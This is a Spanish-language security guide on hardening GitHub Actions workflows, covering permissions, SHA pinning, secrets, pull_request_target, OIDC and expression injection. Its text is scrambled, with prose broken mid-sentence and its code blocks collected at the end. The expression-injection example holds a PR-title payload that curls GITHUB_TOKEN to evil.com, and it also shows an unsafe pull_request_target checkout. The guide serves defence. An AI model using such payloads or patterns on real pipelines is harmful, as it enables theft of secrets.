GitHub Actions se ha convertido en la plataforma CI\/CD m\u00e1s adoptada del mundo. Con m\u00e1s del 90 % de los repositorios de GitHub capaces de usarla de forma nativa, impulsa desde simples comprobaciones de linting hasta complejos despliegues multicloud. Pero esa ubicuidad la convierte en la superficie de ataque CI\/CD m\u00e1s atacada del desarrollo de software moderno.<\/p>\n\n
En 2024 y 2025, los atacantes comprometieron GitHub Actions populares (como Esta gu\u00eda es una referencia completa y pr\u00e1ctica para asegurar GitHub Actions desde cero. Tanto si eres un ingeniero de DevOps fortaleciendo workflows de producci\u00f3n, un arquitecto de seguridad definiendo pol\u00edticas CI\/CD o un desarrollador que quiere dejar de distribuir vulnerabilidades a trav\u00e9s de su pipeline, este art\u00edculo cubre todo lo que necesitas saber, con enlaces a labs detallados y cheat sheets a lo largo del texto.<\/p>\n\n Antes de poder asegurar GitHub Actions, necesitas entender c\u00f3mo funciona realmente su modelo de seguridad. GitHub Actions opera sobre un modelo de confianza construido en torno a tres pilares: los tokens de autenticaci\u00f3n<\/strong>, los triggers de workflow<\/strong> y los entornos de ejecuci\u00f3n<\/strong>.<\/p>\n\n Cada ejecuci\u00f3n de workflow recibe autom\u00e1ticamente un La observaci\u00f3n de seguridad cr\u00edtica: los permisos por defecto del GitHub Actions admite decenas de triggers de eventos: Los Environments de GitHub proporcionan una frontera de seguridad adicional. Puedes asociar reglas de protecci\u00f3n a los environments: revisores obligatorios, temporizadores de espera, restricciones de rama y pol\u00edticas de rama de despliegue. Los secretos pueden acotarse a environments espec\u00edficos, garantizando que las credenciales de producci\u00f3n solo est\u00e9n disponibles para los workflows que despliegan en producci\u00f3n.<\/p>\n\n Los environments son una de las funciones de seguridad m\u00e1s infrautilizadas de GitHub Actions. Si no los est\u00e1s usando, te falta una capa de control cr\u00edtica.<\/p>\n\n La mejora de seguridad m\u00e1s impactante que puedes aplicar a cualquier workflow de GitHub Actions es restringir los permisos del A nivel de organizaci\u00f3n o repositorio, navega a Settings \u2192 Actions \u2192 General \u2192 Workflow permissions<\/strong> y selecciona \u00abRead repository contents and packages permissions\u00bb<\/strong>. Esto garantiza que cada workflow arranque con permisos m\u00ednimos y deba solicitar expl\u00edcitamente cualquier cosa m\u00e1s all\u00e1 del acceso de lectura.<\/p>\n\n En tus archivos de workflow, declara siempre los permisos de forma expl\u00edcita en el nivel superior:<\/p>\n\n Para los jobs que requieran permisos diferentes, decl\u00e1ralos a nivel de job. Los permisos a nivel de job sobrescriben los permisos a nivel de workflow para ese job concreto, ofreciendo un control a\u00fan m\u00e1s granular:<\/p>\n\n Para una referencia completa sobre qu\u00e9 permisos se necesitan para las operaciones habituales, consulta nuestra Cheat Sheet de seguridad de GitHub Actions<\/a>, que asigna cada tarea com\u00fan a su conjunto m\u00ednimo de permisos requeridos.<\/p>\n\n Cada directiva Cuando referencias una action como La soluci\u00f3n es fijar las actions a su SHA de commit completo:<\/p>\n\n Las referencias fijadas por SHA son inmutables. Aunque el repositorio de la action se vea comprometido, el SHA apunta al c\u00f3digo exacto que auditaste. El comentario final garantiza que las personas sigan pudiendo identificar la versi\u00f3n de un vistazo, y que herramientas como Dependabot puedan seguir proponiendo actualizaciones.<\/p>\n\n El fijado por SHA genera una carga de mantenimiento: necesitas actualizar los pins cuando se publican nuevas versiones. Dependabot resuelve esto. A\u00f1ade una configuraci\u00f3n Dependabot abrir\u00e1 autom\u00e1ticamente PRs para actualizar tus actions fijadas por SHA a la versi\u00f3n m\u00e1s reciente, manteniendo la referencia SHA inmutable. Esto te da la seguridad del fijado con la comodidad de las actualizaciones autom\u00e1ticas.<\/p>\n\n Para un recorrido pr\u00e1ctico sobre c\u00f3mo implementar el fijado de actions, el fortalecimiento de permisos y las buenas pr\u00e1cticas de secretos en un workflow real, completa nuestro Lab: fortalecimiento de workflows de GitHub Actions \u2014 permisos, pinning y secretos<\/a>.<\/p>\n\n Los secretos en GitHub Actions existen en tres \u00e1mbitos: repositorio<\/strong>, environment<\/strong> y organizaci\u00f3n<\/strong>. Entender las diferencias y usar el \u00e1mbito adecuado es fundamental para la seguridad.<\/p>\n\n Disponibles para todos los workflows de un repositorio. Cualquier workflow desencadenado por un push o un pull_request (desde el mismo repo) puede acceder a ellos. No est\u00e1n disponibles para los workflows desencadenados por eventos Acotados a un environment espec\u00edfico. Solo los jobs que referencian ese environment pueden acceder a sus secretos. Combinados con las reglas de protecci\u00f3n del environment (revisores obligatorios, restricciones de rama), los secretos de environment ofrecen la protecci\u00f3n de secretos nativa m\u00e1s fuerte de GitHub Actions.<\/p>\n\n Compartidos entre repositorios. Pueden restringirse a repositorios espec\u00edficos o ponerse a disposici\u00f3n de todos. \u00datiles para credenciales compartidas como los tokens de container registry, pero aumentan el radio de impacto si se ven comprometidos.<\/p>\n\n La interacci\u00f3n entre forks, secretos y Nunca hagas checkout del c\u00f3digo head de un PR en un workflow Este patr\u00f3n \u2014a veces llamado \u00abpwn request\u00bb\u2014 permite a un atacante enviar un PR desde un fork que modifique el script de build, la suite de tests o cualquier otro c\u00f3digo que se ejecute. Como Si tienes que usar Las credenciales de larga duraci\u00f3n almacenadas como secretos de GitHub son una bomba de relojer\u00eda. Si un secreto se exfiltra \u2014mediante una action comprometida, una filtraci\u00f3n en los logs o un PR malicioso\u2014, el atacante tiene acceso persistente hasta que la credencial se rota manualmente. La soluci\u00f3n es la workload identity federation basada en OIDC<\/strong>.<\/p>\n\n GitHub Actions puede emitir tokens OIDC que aseveran la identidad de una ejecuci\u00f3n de workflow. Estos tokens contienen claims sobre el repositorio, la rama, el environment, el actor y el workflow. Los proveedores de nube (AWS, GCP, Azure) pueden configurarse para confiar en estos tokens e intercambiarlos por credenciales de corta duraci\u00f3n.<\/p>\n\n El flujo funciona as\u00ed:<\/p>\n\n Con OIDC, no hay credenciales est\u00e1ticas que robar. Aunque un atacante exfiltre el token OIDC, caduca en minutos y est\u00e1 vinculado a claims espec\u00edficos que limitan d\u00f3nde puede usarse.<\/p>\n\n Para un an\u00e1lisis en profundidad de los conceptos detr\u00e1s de la workload identity federation, lee nuestra gu\u00eda sobre Credenciales de corta duraci\u00f3n y workload identity federation para CI\/CD<\/a>. Para implementarla de forma pr\u00e1ctica, sigue nuestro Lab: configuraci\u00f3n de workload identity OIDC para GitHub Actions y AWS<\/a>.<\/p>\n\n El runner es donde realmente se ejecuta el c\u00f3digo de tu workflow. Las propiedades de seguridad de tu runner determinan directamente el radio de impacto de cualquier compromiso del workflow.<\/p>\n\n Los runners hospedados por GitHub son m\u00e1quinas virtuales ef\u00edmeras que se aprovisionan nuevas para cada job y se destruyen despu\u00e9s. Esto proporciona un aislamiento s\u00f3lido:<\/p>\n\n Para la mayor\u00eda de los workflows, los runners hospedados por GitHub son la opci\u00f3n m\u00e1s segura. El compromiso es una personalizaci\u00f3n limitada y, potencialmente, costes m\u00e1s altos para cargas de trabajo intensivas en c\u00f3mputo.<\/p>\n\n Los runners autoalojados se ejecutan en tu propia infraestructura. Ofrecen m\u00e1s control y pueden resultar m\u00e1s baratos a escala, pero introducen riesgos de seguridad significativos:<\/p>\n\n El mejor enfoque para los runners autoalojados es hacerlos ef\u00edmeros<\/strong>. Actions Runner Controller (ARC) se ejecuta sobre Kubernetes y aprovisiona un pod de runner nuevo para cada job. Cuando el job termina, el pod se destruye, igual que un runner hospedado por GitHub, pero en tu propia infraestructura.<\/p>\n\n Pr\u00e1cticas de seguridad clave con ARC:<\/p>\n\n Para una gu\u00eda completa sobre la arquitectura de seguridad de los runners, consulta C\u00f3mo asegurar los runners de GitHub Actions<\/a>. Para desplegar runners ef\u00edmeros en la pr\u00e1ctica, trabaja con nuestro Lab: runners autoalojados ef\u00edmeros con Actions Runner Controller<\/a>.<\/p>\n\n Cada action de terceros que referencias en un workflow es c\u00f3digo que se ejecuta dentro de tu pipeline CI\/CD con acceso a tu c\u00f3digo fuente, tus secretos y tus credenciales de despliegue. Es esencial tratar las actions de terceros como cualquier otra dependencia de software.<\/p>\n\n Antes de a\u00f1adir cualquier action de terceros a tus workflows:<\/p>\n\n A nivel de organizaci\u00f3n, GitHub te permite restringir qu\u00e9 actions pueden usarse. Navega a Organization Settings \u2192 Actions \u2192 General \u2192 Policies<\/strong> y configura una allowlist. Las opciones incluyen:<\/p>\n\n Para las empresas, la allowlist es un control cr\u00edtico. Impide que los desarrolladores a\u00f1adan a la ligera actions sin evaluar a los workflows y proporciona un proceso de aprobaci\u00f3n centralizado para las nuevas dependencias de actions.<\/p>\n\n Para practicar la detecci\u00f3n de comportamientos maliciosos en GitHub Actions mediante t\u00e9cnicas de an\u00e1lisis est\u00e1tico, completa nuestro Lab: detecci\u00f3n de GitHub Actions maliciosas con an\u00e1lisis est\u00e1tico<\/a>.<\/p>\n\n La inyecci\u00f3n de expresiones es una de las vulnerabilidades m\u00e1s comunes y peligrosas en los workflows de GitHub Actions. Se produce cuando una entrada no confiable se interpola directamente en una expresi\u00f3n de workflow usando la sintaxis Las expresiones de GitHub Actions se eval\u00faan antes<\/em> de que la shell las vea. Cuando escribes:<\/p>\n\n La expresi\u00f3n se reemplaza por el t\u00edtulo literal del PR antes de que se construya el comando de shell. Si un atacante crea un PR con el t\u00edtulo:<\/p>\n\n El comando de shell resultante pasa a ser:<\/p>\n\n El atacante ha inyectado comandos de shell arbitrarios en tu workflow.<\/p>\n\n Los siguientes valores de contexto de GitHub est\u00e1n controlados por el atacante y nunca<\/strong> deber\u00edan usarse directamente en bloques En lugar de interpolar expresiones en los bloques Cuando el valor se pasa a trav\u00e9s de una variable de entorno, la shell lo trata como una cadena literal, no como c\u00f3digo a ejecutar. Esto previene por completo la inyecci\u00f3n.<\/p>\n\n Asegurar tu pipeline CI\/CD no consiste solo en proteger el propio pipeline: se trata de garantizar que los artefactos que produce tu pipeline sean dignos de confianza. La seguridad de la cadena de suministro para GitHub Actions abarca la firma de artefactos, la atestaci\u00f3n de procedencia y la verificaci\u00f3n.<\/p>\n\n Cosign, parte del proyecto Sigstore, permite la firma keyless de im\u00e1genes de contenedor y otros artefactos usando identidades OIDC. En GitHub Actions, esto significa que la identidad de tu workflow (repositorio, rama, workflow) se convierte en la identidad de firma: sin claves de firma est\u00e1ticas que gestionar o proteger.<\/p>\n\n La firma resultante se almacena en un registro de transparencia (Rekor), lo que proporciona un registro auditable de que un workflow espec\u00edfico en un repositorio espec\u00edfico produjo un artefacto espec\u00edfico.<\/p>\n\n SLSA (Supply-chain Levels for Software Artifacts) proporciona un marco para garantizar la integridad de los builds. La action oficial de GitHub La procedencia SLSA responde a la pregunta: \u00ab\u00bfPuedo demostrar que este artefacto se construy\u00f3 a partir de este c\u00f3digo fuente mediante este sistema CI\/CD?\u00bb. Para cualquier organizaci\u00f3n que se tome en serio la seguridad de la cadena de suministro, la atestaci\u00f3n de procedencia deber\u00eda formar parte de todo workflow de release.<\/p>\n\n Para adquirir experiencia pr\u00e1ctica con la firma de contenedores usando Cosign en un pipeline CI\/CD, consulta nuestro lab de firma con Cosign. Para implementar la generaci\u00f3n y verificaci\u00f3n de procedencia SLSA, trabaja con nuestro lab de procedencia SLSA.<\/p>\n\n Tras auditar cientos de workflows de GitHub Actions, estos son los cinco errores de configuraci\u00f3n de seguridad m\u00e1s habituales que encontramos:<\/p>\n\n Los workflows sin un bloque Soluci\u00f3n:<\/strong> a\u00f1ade un bloque Usar referencias por tag como Soluci\u00f3n:<\/strong> fija todas las actions de terceros a SHAs de commit completos. Usa Dependabot para gestionar las actualizaciones.<\/p>\n\n Interpolar directamente valores de contexto controlados por el atacante (t\u00edtulos de PR, cuerpos de issues, nombres de rama) en pasos Soluci\u00f3n:<\/strong> pasa siempre los valores de contexto no confiables a trav\u00e9s de variables de entorno.<\/p>\n\n Hacer checkout y ejecutar c\u00f3digo del head de un PR en un workflow Soluci\u00f3n:<\/strong> nunca hagas checkout de Almacenar claves de acceso de AWS, JSON de service account de GCP o secretos de cliente de Azure como secretos de repositorio o de organizaci\u00f3n crea una exposici\u00f3n persistente de credenciales. Si estos secretos se filtran, el atacante tiene acceso a largo plazo a tus recursos de nube.<\/p>\n\n Soluci\u00f3n:<\/strong> sustituye las credenciales est\u00e1ticas por workload identity federation con OIDC. Si no hay secretos que robar, no hay exposici\u00f3n de credenciales.<\/p>\n\n Usa este checklist para fortalecer sistem\u00e1ticamente tus workflows de GitHub Actions. Cada elemento se corresponde con una secci\u00f3n de esta gu\u00eda:<\/p>\n\n La teor\u00eda solo llega hasta cierto punto. Aplica lo que has aprendido en estos labs pr\u00e1cticos:<\/p>\n\n Automatiza la aplicaci\u00f3n de la seguridad con estas herramientas esenciales:<\/p>\n\n actionlint<\/a> es una herramienta de an\u00e1lisis est\u00e1tico para los archivos de workflow de GitHub Actions. Detecta errores de sintaxis, discordancias de tipos, comandos de shell inv\u00e1lidos y problemas de seguridad como la inyecci\u00f3n de expresiones. Ejec\u00fatala en local y en CI para detectar problemas antes de que lleguen a producci\u00f3n:<\/p>\n\n zizmor<\/a> es un linter de seguridad dedicado a GitHub Actions. A diferencia de los linters de prop\u00f3sito general, zizmor se centra espec\u00edficamente en los problemas de seguridad: inyecci\u00f3n de expresiones, actions sin fijar, permisos demasiado amplios, triggers peligrosos y m\u00e1s. Produce hallazgos accionables con calificaciones de severidad y orientaci\u00f3n para la remediaci\u00f3n:<\/p>\n\n Ambas herramientas deber\u00edan formar parte de tu pipeline de CI. Ejec\u00fatalas en cada PR que modifique archivos de workflow. Combinadas, detectan la gran mayor\u00eda de los problemas de seguridad habituales de GitHub Actions antes de que se fusionen (merge).<\/p>\n\n La seguridad de GitHub Actions no es un \u00fanico interruptor de configuraci\u00f3n: es una defensa por capas que abarca permisos, dependencias, secretos, identidad, infraestructura e integridad de la cadena de suministro. Los ataques contra los pipelines CI\/CD aumentan en frecuencia y sofisticaci\u00f3n, y las organizaciones que traten la seguridad del pipeline como algo secundario ser\u00e1n las que acaben haciendo divulgaciones de brechas.<\/p>\n\n La buena noticia es que cada mitigaci\u00f3n de esta gu\u00eda es accionable hoy mismo. Puedes establecer los permisos en solo lectura en cinco minutos. Puedes habilitar Dependabot para el fijado de actions en un solo commit. Puedes migrar de las credenciales est\u00e1ticas a OIDC en una tarde. Y puedes desplegar runners ef\u00edmeros antes de que acabe la semana.<\/p>\n\n Empieza por el checklist de implementaci\u00f3n de arriba. Trabaja con los labs. Ejecuta actionlint y zizmor sobre tus workflows existentes y corrige lo que detecten. Cada paso de fortalecimiento que des eleva el coste para los atacantes y reduce tu riesgo.<\/p>\n\n Tu pipeline CI\/CD es un sistema de producci\u00f3n. Aseg\u00faralo como tal.<\/p>\n","protected":false},"excerpt":{"rendered":" GitHub Actions se ha convertido en la plataforma CI\/CD m\u00e1s adoptada del mundo. Con m\u00e1s del 90 % de los repositorios de GitHub capaces de usarla de forma nativa, impulsa desde simples comprobaciones de linting hasta complejos despliegues multicloud. Pero esa ubicuidad la convierte en la superficie de ataque CI\/CD m\u00e1s atacada del desarrollo de … Leer m\u00e1s<\/a><\/p>\n","protected":false},"author":1,"featured_media":1276,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[55,56],"tags":[],"post_folder":[],"class_list":["post-593","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ci-cd-security","category-github-actions"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/593","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/comments?post=593"}],"version-history":[{"count":9,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/593\/revisions"}],"predecessor-version":[{"id":1588,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/posts\/593\/revisions\/1588"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/media\/1276"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/media?parent=593"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/categories?post=593"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/tags?post=593"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/es\/wp-json\/wp\/v2\/post_folder?post=593"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}tj-actions\/changed-files<\/code> y reviewdog<\/code>), inyectaron c\u00f3digo malicioso en miles de workflows de CI y exfiltraron secretos de organizaciones que daban por sentado que sus pipelines eran seguros. Los ataques a la cadena de suministro en CI\/CD ya no son te\u00f3ricos: son rutinarios.<\/p>\n\nComprender el modelo de seguridad de GitHub Actions<\/h2>\n\n
El GITHUB_TOKEN<\/h3>\n\n
GITHUB_TOKEN<\/code>: un token de corta duraci\u00f3n acotado al repositorio donde se ejecuta el workflow. Este token es el mecanismo de autenticaci\u00f3n principal para interactuar con la API de GitHub desde dentro de los workflows. Por defecto, el token tiene amplios permisos de lectura\/escritura sobre el repositorio, incluida la capacidad de publicar c\u00f3digo, gestionar issues y modificar paquetes.<\/p>\n\nGITHUB_TOKEN<\/code> son demasiado amplios para la mayor\u00eda de los workflows<\/strong>. Un workflow que solo necesita publicar un comentario en un PR no deber\u00eda tener permiso para publicar c\u00f3digo. Sin embargo, sin una configuraci\u00f3n expl\u00edcita, lo tiene.<\/p>\n\nTriggers de workflow<\/h3>\n\n
push<\/code>, pull_request<\/code>, pull_request_target<\/code>, workflow_dispatch<\/code>, schedule<\/code>, issue_comment<\/code> y m\u00e1s. Cada trigger conlleva implicaciones de seguridad diferentes:<\/p>\n\n\n
pull_request<\/code><\/strong> \u2014 se ejecuta en el contexto del c\u00f3digo del fork. El GITHUB_TOKEN<\/code> es de solo lectura. Los secretos no est\u00e1n disponibles desde los forks. Es el trigger m\u00e1s seguro para contribuciones externas.<\/li>\npull_request_target<\/code><\/strong> \u2014 se ejecuta en el contexto del repositorio base<\/em>. El GITHUB_TOKEN<\/code> tiene acceso de escritura. Los secretos est\u00e1n disponibles. Es extremadamente peligroso si haces checkout del c\u00f3digo head del PR.<\/li>\npush<\/code><\/strong> \u2014 se ejecuta sobre el commit publicado. Acceso completo a secretos y tokens de escritura. Seguro solo para ramas confiables.<\/li>\nworkflow_dispatch<\/code><\/strong> \u2014 trigger manual. \u00datil para despliegues controlados, pero verifica los par\u00e1metros de entrada.<\/li>\nschedule<\/code><\/strong> \u2014 se ejecuta seg\u00fan una programaci\u00f3n cron contra la rama por defecto. Tiene acceso de escritura y secretos. Aseg\u00farate de que los workflows programados no puedan ser modificados por PRs no confiables.<\/li>\n<\/ul>\n\nEnvironments y protecci\u00f3n de despliegue<\/h3>\n\n
Permisos de workflow: el principio de m\u00ednimo privilegio<\/h2>\n\n
GITHUB_TOKEN<\/code><\/strong>. GitHub te permite establecer permisos en dos niveles: el workflow completo y los jobs individuales.<\/p>\n\nEstablecer los permisos por defecto en solo lectura<\/h3>\n\n
permissions:\n contents: read\n pull-requests: write # Only if needed\n<\/code><\/pre>\n\njobs:\n build:\n permissions:\n contents: read\n runs-on: ubuntu-latest\n steps:\n - uses: actions\/checkout@v4\n - run: npm build\n\n deploy:\n permissions:\n contents: read\n id-token: write # For OIDC\n runs-on: ubuntu-latest\n steps:\n - uses: aws-actions\/configure-aws-credentials@v4\n<\/code><\/pre>\n\nFijado (pinning) de actions: defensa contra los ataques a la cadena de suministro<\/h2>\n\n
uses:<\/code> de tu workflow es una dependencia y, como cualquier dependencia, puede verse comprometida. El incidente de tj-actions\/changed-files<\/code> a principios de 2025 demostr\u00f3 exactamente qu\u00e9 ocurre cuando una action popular es secuestrada: el atacante modific\u00f3 la action para exfiltrar el GITHUB_TOKEN<\/code> y otros secretos de todos los repositorios que la referenciaban por tag.<\/p>\n\nPor qu\u00e9 los tags y las ramas no bastan<\/h3>\n\n
actions\/checkout@v4<\/code>, est\u00e1s confiando en que el mantenedor de la action \u2014y en cualquiera que comprometa su cuenta\u2014 no mueva ni modifique ese tag. Los tags en Git son mutables. Un atacante que obtenga acceso de escritura a un repositorio puede apuntar v4<\/code> a cualquier commit que elija.<\/p>\n\nFijado por SHA<\/h3>\n\n
# Bad - mutable tag\n- uses: actions\/checkout@v4\n\n# Good - immutable SHA pin with version comment\n- uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n<\/code><\/pre>\n\nAutomatizar las actualizaciones de pins con Dependabot<\/h3>\n\n
.github\/dependabot.yml<\/code>:<\/p>\n\nversion: 2\nupdates:\n - package-ecosystem: \"github-actions\"\n directory: \"\/\"\n schedule:\n interval: \"weekly\"\n<\/code><\/pre>\n\nGesti\u00f3n de secretos<\/h2>\n\n
Secretos de repositorio<\/h3>\n\n
pull_request<\/code> procedentes de forks.<\/strong><\/p>\n\nSecretos de environment<\/h3>\n\n
Secretos de organizaci\u00f3n<\/h3>\n\n
Seguridad frente a forks y pull_request_target<\/h3>\n\n
pull_request_target<\/code> es una de las \u00e1reas m\u00e1s peligrosas de la seguridad de GitHub Actions. Esta es la regla clave:<\/p>\n\npull_request_target<\/code> ni lo ejecutes con acceso a secretos.<\/strong><\/p>\n\npull_request_target<\/code> se ejecuta con los secretos y el token de escritura del repositorio base, el c\u00f3digo del atacante se ejecuta con acceso total a tus credenciales.<\/p>\n\n# DANGEROUS - Never do this\non: pull_request_target\njobs:\n build:\n runs-on: ubuntu-latest\n steps:\n - uses: actions\/checkout@v4\n with:\n ref: ${{ github.event.pull_request.head.sha }} # Attacker-controlled code!\n - run: npm test # Runs attacker's code with your secrets\n<\/code><\/pre>\n\npull_request_target<\/code>, haz checkout \u00fanicamente del c\u00f3digo de la rama base, o utiliza un patr\u00f3n de dos workflows en el que el primer workflow (desencadenado por pull_request<\/code>) produzca artefactos, y el segundo (desencadenado por workflow_run<\/code>) procese esos artefactos con permisos elevados.<\/p>\n\nOIDC y workload identity federation<\/h2>\n\n
C\u00f3mo funciona OIDC en GitHub Actions<\/h3>\n\n
\n
id-token: write<\/code>).<\/li>\nEjemplo: AWS con OIDC<\/h3>\n\n
permissions:\n id-token: write\n contents: read\n\nsteps:\n - uses: aws-actions\/configure-aws-credentials@v4\n with:\n role-to-assume: arn:aws:iam::123456789012:role\/github-actions-deploy\n aws-region: us-east-1\n # No access keys needed!\n<\/code><\/pre>\n\nSeguridad de los runners: hospedados frente a autoalojados<\/h2>\n\n
Runners hospedados por GitHub<\/h3>\n\n
\n
Runners autoalojados: riesgos y mitigaciones<\/h3>\n\n
\n
Runners ef\u00edmeros con Actions Runner Controller (ARC)<\/h3>\n\n
\n
Seguridad de las actions de terceros<\/h2>\n\n
Auditar las actions antes de usarlas<\/h3>\n\n
\n
contents: write<\/code>? Eso es una se\u00f1al de alarma.<\/li>\nImplementar allowlists de actions<\/h3>\n\n
\n
Inyecci\u00f3n de expresiones<\/h2>\n\n
${{ }}<\/code>.<\/p>\n\nC\u00f3mo funciona la inyecci\u00f3n de expresiones<\/h3>\n\n
- run: echo \"Hello ${{ github.event.pull_request.title }}\"<\/code><\/pre>\n\n\"; curl http:\/\/evil.com\/steal?token=$GITHUB_TOKEN; echo \"<\/code><\/pre>\n\necho \"Hello \"; curl http:\/\/evil.com\/steal?token=$GITHUB_TOKEN; echo \"\"<\/code><\/pre>\n\nContextos vulnerables<\/h3>\n\n
run:<\/code>:<\/p>\n\n\n
github.event.pull_request.title<\/code><\/li>\ngithub.event.pull_request.body<\/code><\/li>\ngithub.event.issue.title<\/code><\/li>\ngithub.event.issue.body<\/code><\/li>\ngithub.event.comment.body<\/code><\/li>\ngithub.event.review.body<\/code><\/li>\ngithub.event.head_commit.message<\/code><\/li>\ngithub.head_ref<\/code> (nombre de rama: controlado por el atacante en los forks)<\/li>\n<\/ul>\n\nLa soluci\u00f3n: variables de entorno<\/h3>\n\n
run:<\/code>, p\u00e1salas a trav\u00e9s de variables de entorno:<\/p>\n\n# Vulnerable\n- run: echo \"PR title: ${{ github.event.pull_request.title }}\"\n\n# Safe\n- run: echo \"PR title: $PR_TITLE\"\n env:\n PR_TITLE: ${{ github.event.pull_request.title }}\n<\/code><\/pre>\n\nSeguridad de la cadena de suministro: firma y procedencia<\/h2>\n\n
Firma de artefactos con Cosign y Sigstore<\/h3>\n\n
steps:\n - uses: sigstore\/cosign-installer@v3\n - run: cosign sign --yes ${{ env.IMAGE_REF }}\n env:\n COSIGN_EXPERIMENTAL: 1\n<\/code><\/pre>\n\nProcedencia SLSA<\/h3>\n\n
actions\/attest-build-provenance<\/code> genera atestaciones de procedencia SLSA que registran exactamente c\u00f3mo se construy\u00f3 un artefacto: el repo de origen, el commit, el builder y las instrucciones de build.<\/p>\n\nErrores de configuraci\u00f3n habituales: los 5 principales<\/h2>\n\n
1. Falta del bloque de permisos<\/h3>\n\n
permissions:<\/code> expl\u00edcito heredan los permisos por defecto del token del repositorio, que normalmente son de lectura\/escritura para todo. Esto vulnera el m\u00ednimo privilegio y maximiza el radio de impacto de cualquier compromiso.<\/p>\n\npermissions: read-all<\/code> a nivel superior o un bloque de permisos granular a cada archivo de workflow.<\/p>\n\n2. Actions de terceros sin fijar<\/h3>\n\n
@v4<\/code> o @main<\/code> para actions de terceros te expone a ataques a la cadena de suministro. Si el repositorio de la action se ve comprometido, los atacantes pueden publicar c\u00f3digo malicioso bajo el tag existente.<\/p>\n\n3. Inyecci\u00f3n de expresiones en bloques run:<\/h3>\n\n
run:<\/code> permite la ejecuci\u00f3n de comandos arbitrarios.<\/p>\n\n4. Uso inseguro de pull_request_target<\/h3>\n\n
pull_request_target<\/code> concede al atacante acceso a los secretos del repositorio y permisos de escritura.<\/p>\n\ngithub.event.pull_request.head.sha<\/code> en workflows pull_request_target<\/code>. Usa en su lugar el patr\u00f3n de dos workflows.<\/p>\n\n5. Credenciales de nube de larga duraci\u00f3n como secretos<\/h3>\n\n
Checklist de implementaci\u00f3n<\/h2>\n\n
\n
permissions:<\/code> expl\u00edcitos a cada workflow y job.<\/li>\ngithub-actions<\/code>.<\/li>\npull_request_target<\/code> en busca de patrones de checkout inseguros.<\/li>\n${{<\/code> en los bloques run:<\/code> de todos los workflows y remedia los vectores de inyecci\u00f3n.<\/li>\nactionlint<\/code> y zizmor<\/code> a tu pipeline de CI para detectar problemas autom\u00e1ticamente.<\/li>\nLabs relacionados<\/h2>\n\n
\n
Herramientas para la seguridad de GitHub Actions<\/h2>\n\n
actionlint<\/h3>\n\n
# Install and run\nbrew install actionlint\nactionlint .github\/workflows\/*.yml\n<\/code><\/pre>\n\nzizmor<\/h3>\n\n
# Install and run\npip install zizmor\nzizmor .github\/workflows\/\n<\/code><\/pre>\n\nConclusi\u00f3n<\/h2>\n\n